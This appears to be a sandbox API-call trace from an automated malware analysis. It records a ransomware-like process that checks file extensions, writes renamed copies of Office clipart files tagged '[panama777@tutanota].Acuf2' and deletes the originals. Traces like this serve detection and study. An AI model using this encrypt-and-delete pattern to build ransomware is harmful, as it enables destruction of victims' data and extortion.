	[0273.260] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0273.260] lstrlenW (lpString=".pdf") returned 4
	[0273.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.260] lstrlenW (lpString=".xls") returned 4
	[0273.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.260] lstrlenW (lpString=".xlsx") returned 5
	[0273.260] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0273.260] lstrlenW (lpString=".ppt") returned 4
	[0273.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63
	[0273.260] lstrlenW (lpString=".zip") returned 4
	[0273.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.260] lstrlenW (lpString=".rar") returned 4
	[0273.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.260] lstrlenW (lpString=".bz2") returned 4
	[0273.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.260] lstrlenW (lpString=".7z") returned 3
	[0273.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63
	[0273.261] lstrlenW (lpString=".dbf") returned 4
	[0273.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63
	[0273.261] lstrlenW (lpString=".1cd") returned 4
	[0273.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63
	[0273.261] lstrlenW (lpString=".jpg") returned 4
	[0273.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.261] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5980) returned 1
	[0273.261] CloseHandle (hObject=0x388) returned 1
	[0273.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 0x20
	[0273.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0273.262] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.262] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0273.262] GetLastError () returned 0x0
	[0273.262] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x175c, lpOverlapped=0x0) returned 1
	[0273.272] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1760, lpOverlapped=0x0) returned 1
	[0273.273] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.273] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.273] SetEndOfFile (hFile=0x35c) returned 1
	[0273.273] CloseHandle (hObject=0x35c) returned 1
	[0273.274] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.274] SetEndOfFile (hFile=0x388) returned 1
	[0273.276] CloseHandle (hObject=0x388) returned 1
	[0273.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 1
	[0273.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63
	[0273.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63
	[0273.312] lstrlenW (lpString=".doc") returned 4
	[0273.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.312] lstrlenW (lpString=".docx") returned 5
	[0273.312] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0273.312] lstrlenW (lpString=".pdf") returned 4
	[0273.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.312] lstrlenW (lpString=".xls") returned 4
	[0273.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.312] lstrlenW (lpString=".xlsx") returned 5
	[0273.312] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0273.312] lstrlenW (lpString=".ppt") returned 4
	[0273.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63
	[0273.312] lstrlenW (lpString=".zip") returned 4
	[0273.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.312] lstrlenW (lpString=".rar") returned 4
	[0273.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.312] lstrlenW (lpString=".bz2") returned 4
	[0273.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.312] lstrlenW (lpString=".7z") returned 3
	[0273.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63
	[0273.312] lstrlenW (lpString=".dbf") returned 4
	[0273.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63
	[0273.312] lstrlenW (lpString=".1cd") returned 4
	[0273.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63
	[0273.313] lstrlenW (lpString=".jpg") returned 4
	[0273.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.316] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.316] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0273.317] GetLastError () returned 0x0
	[0273.317] ReadFile (in: hFile=0x218, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1864, lpOverlapped=0x0) returned 1
	[0273.407] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1870, lpOverlapped=0x0) returned 1
	[0273.408] ReadFile (in: hFile=0x218, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.408] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.408] SetEndOfFile (hFile=0x358) returned 1
	[0273.408] CloseHandle (hObject=0x358) returned 1
	[0273.408] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.408] SetEndOfFile (hFile=0x218) returned 1
	[0273.410] CloseHandle (hObject=0x218) returned 1
	[0273.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 1
	[0273.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63
	[0273.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63
	[0273.411] lstrlenW (lpString=".doc") returned 4
	[0273.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.411] lstrlenW (lpString=".docx") returned 5
	[0273.411] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0273.411] lstrlenW (lpString=".pdf") returned 4
	[0273.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.411] lstrlenW (lpString=".xls") returned 4
	[0273.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.411] lstrlenW (lpString=".xlsx") returned 5
	[0273.411] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0273.411] lstrlenW (lpString=".ppt") returned 4
	[0273.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63
	[0273.411] lstrlenW (lpString=".zip") returned 4
	[0273.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.411] lstrlenW (lpString=".rar") returned 4
	[0273.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.411] lstrlenW (lpString=".bz2") returned 4
	[0273.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.411] lstrlenW (lpString=".7z") returned 3
	[0273.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63
	[0273.411] lstrlenW (lpString=".dbf") returned 4
	[0273.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63
	[0273.411] lstrlenW (lpString=".1cd") returned 4
	[0273.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63
	[0273.411] lstrlenW (lpString=".jpg") returned 4
	[0273.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.412] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5156) returned 1
	[0273.412] CloseHandle (hObject=0x218) returned 1
	[0273.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 0x20
	[0273.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0273.412] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.412] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0273.413] GetLastError () returned 0x0
	[0273.413] ReadFile (in: hFile=0x218, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1424, lpOverlapped=0x0) returned 1
	[0273.435] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1430, lpOverlapped=0x0) returned 1
	[0273.436] ReadFile (in: hFile=0x218, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.436] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.436] SetEndOfFile (hFile=0x358) returned 1
	[0273.436] CloseHandle (hObject=0x358) returned 1
	[0273.436] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.436] SetEndOfFile (hFile=0x218) returned 1
	[0273.438] CloseHandle (hObject=0x218) returned 1
	[0273.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 1
	[0273.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63
	[0273.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63
	[0273.471] lstrlenW (lpString=".doc") returned 4
	[0273.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.471] lstrlenW (lpString=".docx") returned 5
	[0273.471] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0273.471] lstrlenW (lpString=".pdf") returned 4
	[0273.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.471] lstrlenW (lpString=".xls") returned 4
	[0273.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.471] lstrlenW (lpString=".xlsx") returned 5
	[0273.471] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0273.471] lstrlenW (lpString=".ppt") returned 4
	[0273.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63
	[0273.471] lstrlenW (lpString=".zip") returned 4
	[0273.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.471] lstrlenW (lpString=".rar") returned 4
	[0273.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.471] lstrlenW (lpString=".bz2") returned 4
	[0273.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.472] lstrlenW (lpString=".7z") returned 3
	[0273.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63
	[0273.472] lstrlenW (lpString=".dbf") returned 4
	[0273.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63
	[0273.472] lstrlenW (lpString=".1cd") returned 4
	[0273.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63
	[0273.472] lstrlenW (lpString=".jpg") returned 4
	[0273.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.472] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=17332) returned 1
	[0273.472] CloseHandle (hObject=0x358) returned 1
	[0273.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 0x20
	[0273.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0273.473] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.473] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0273.473] GetLastError () returned 0x0
	[0273.473] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x43b4, lpOverlapped=0x0) returned 1
	[0273.481] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x43c0, lpOverlapped=0x0) returned 1
	[0273.482] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.482] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.482] SetEndOfFile (hFile=0x28c) returned 1
	[0273.482] CloseHandle (hObject=0x28c) returned 1
	[0273.482] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.482] SetEndOfFile (hFile=0x358) returned 1
	[0273.484] CloseHandle (hObject=0x358) returned 1
	[0273.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 1
	[0274.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63
	[0274.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63
	[0274.092] lstrlenW (lpString=".doc") returned 4
	[0274.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.092] lstrlenW (lpString=".docx") returned 5
	[0274.092] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0274.092] lstrlenW (lpString=".pdf") returned 4
	[0274.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.092] lstrlenW (lpString=".xls") returned 4
	[0274.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.092] lstrlenW (lpString=".xlsx") returned 5
	[0274.092] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0274.093] lstrlenW (lpString=".ppt") returned 4
	[0274.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63
	[0274.093] lstrlenW (lpString=".zip") returned 4
	[0274.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.093] lstrlenW (lpString=".rar") returned 4
	[0274.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.093] lstrlenW (lpString=".bz2") returned 4
	[0274.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.093] lstrlenW (lpString=".7z") returned 3
	[0274.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63
	[0274.093] lstrlenW (lpString=".dbf") returned 4
	[0274.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63
	[0274.093] lstrlenW (lpString=".1cd") returned 4
	[0274.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63
	[0274.093] lstrlenW (lpString=".jpg") returned 4
	[0274.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.125] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.125] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.126] GetLastError () returned 0x0
	[0274.126] ReadFile (in: hFile=0x328, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x274c, lpOverlapped=0x0) returned 1
	[0274.128] WriteFile (in: hFile=0x388, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2750, lpOverlapped=0x0) returned 1
	[0274.128] ReadFile (in: hFile=0x328, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
